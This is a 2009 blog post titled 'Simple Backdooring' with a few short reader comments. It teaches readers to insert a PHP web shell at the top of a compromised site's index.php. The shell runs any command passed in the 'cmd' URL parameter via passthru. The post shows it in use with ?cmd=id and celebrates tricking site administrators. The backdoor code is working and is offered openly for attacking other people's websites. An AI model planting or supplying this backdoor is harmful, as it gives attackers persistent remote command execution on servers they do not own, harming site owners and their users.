Simple Backdooring

In: Computer Security

13 Nov 2009

Long time no see, and long time i am not posting here.

I tired, long time build this web but my page rank still “0″ zero. But, the long time i have been thinking and i have conclusion, i must not posting for anything. Just do post !

Ok, this time I will give you some more tricks in security. What have you done when found some website with bugs there, put a backdoor? What backdoor if you did not find the root access?

Some people using CGI Telnet, and another use C99 shell or r57 shell.

But my tricks do same with very simple script, I called simple backdooring. Just do it on your target. Put this code into the index.php in the top of script.

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<?php
 
// This is simple backdooring tricks
// do it with your risk
 
$cmd = $_GET['cmd'];
 
if(isset($cmd))
{
 echo "<pre>";
 echo passthru($cmd);
 echo "< /pre>";
 exit;
}
 
?>

If you put this into index.php on www.example.com, when you click just www.example.com there is nothing happen, but try the www.example.com/index.php?cmd=id see what do you get.

More website administrator have been tricked with this tricks.

Happy backdooring !!!

3 Responses to Simple Backdooring

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www.fachrulfikri.com

November 13th, 2009 at 11:57 pm

nice tutor..

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Cornelius

November 29th, 2009 at 12:44 am

I really like your blog and i respect your work. I’ll be a frequent visitor.

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December 13th, 2009 at 7:39 pm

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